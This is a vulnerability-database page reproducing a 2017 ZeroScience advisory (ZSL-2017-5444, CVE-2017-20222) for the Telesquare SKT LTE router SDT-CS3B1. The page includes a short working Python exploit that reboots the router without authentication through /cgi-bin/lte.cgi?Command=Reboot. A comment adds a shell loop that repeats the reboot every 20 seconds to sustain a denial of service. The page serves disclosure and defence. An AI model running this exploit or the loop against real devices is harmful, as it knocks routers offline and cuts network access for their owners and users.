Telesquare SKT LTE Router SDT-CS3B1 Remote Reboot Denial Of Service

🗓️ 27 Dec 2017 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 70 Views

Telesquare SKT LTE Router SDT-CS3B1 Remote Reboot Denial Of Service. Unauthenticated reboot command execution causes DoS

Reporter	Title	Published	Views	Family All 10
ATTACKERKB	CVE-2017-20222	16 Mar 202601:28	–	attackerkb
CNNVD	Telesquare SKT LTE Router SDT-CS3B1 访问控制错误漏洞	16 Mar 202600:00	–	cnnvd
CVE	CVE-2017-20222	16 Mar 202601:28	–	cve
Cvelist	CVE-2017-20222 Telesquare SKT LTE Router SDT-CS3B1 Unauthenticated Remote Reboot	16 Mar 202601:28	–	cvelist
EUVD	EUVD-2017-18938	16 Mar 202615:30	–	euvd
NVD	CVE-2017-20222	16 Mar 202614:17	–	nvd
OpenVAS	Telesquare SKT LTE Router SDT-CS3B1 Multiple Vulnerabilities - Active Check	28 Dec 201700:00	–	openvas
Positive Technologies	PT-2026-25740	16 Mar 202600:00	–	ptsecurity
RedhatCVE	CVE-2017-20222	26 Mar 202615:04	–	redhatcve
Vulnrichment	CVE-2017-20222 Telesquare SKT LTE Router SDT-CS3B1 Unauthenticated Remote Reboot	16 Mar 202601:28	–	vulnrichment

<html><body><p>#!/usr/bin/env python
#
#
# Telesquare SKT LTE Router SDT-CS3B1 Remote Reboot Denial Of Service
#
#
# Vendor: Telesquare Co., Ltd.
# Product web page: http://www.telesquare.co.kr
# Affected version: FwVer: SDT-CS3B1, sw version 1.2.0
#                   LteVer: ML300S5XEA41_090  1 0.1.0
#                   Modem model: PM-L300S
#
# Summary: We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G
# LTE wireless communication based LTE router product.
#
# Desc: The router suffers from an unauthenticated reboot command execution.
# Attackers can exploit this issue to cause a denial of service scenario.
#
# --------------------------------------------------------------------
# /lte/lteuicc.shtml:
# -------------------
#
# 858: function RebootRequest()
# 859: {
# 860:     var url = "../cgi-bin/lte.cgi?";
# 861:     var param = "Command=Reboot";
# 862:     XHRPost(RebootHandle, url, param, false ); //sync call
# 863: }
# 
# --------------------------------------------------------------------
#
# Tested on: lighttpd/1.4.20
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2017-5444
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5444.php
#
#
# 22.12.2017
#


import sys, requests

if len(sys.argv) &lt; 2:
	print 'SKT LTE Router SDT-CS3B1 Remote Reboot'
	print 'Usage: b00t.py <ip> <port>\n'
	quit()

ip = sys.argv[1]
port = sys.argv[2]

r = requests.get("http://"+ip+":"+port+"/cgi-bin/lte.cgi?Command=Reboot")

# shw: while true; do ./b00t.py 10.0.0.17 8081; sleep 20; done
#print r.content  #if in r.content: <xml></xml>, reboot true.

print "Router rebooted."
</port></ip></p></body></html>

27 Dec 2017 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 3.17.5

CVSS 48.7

EPSS0.00706

SSVC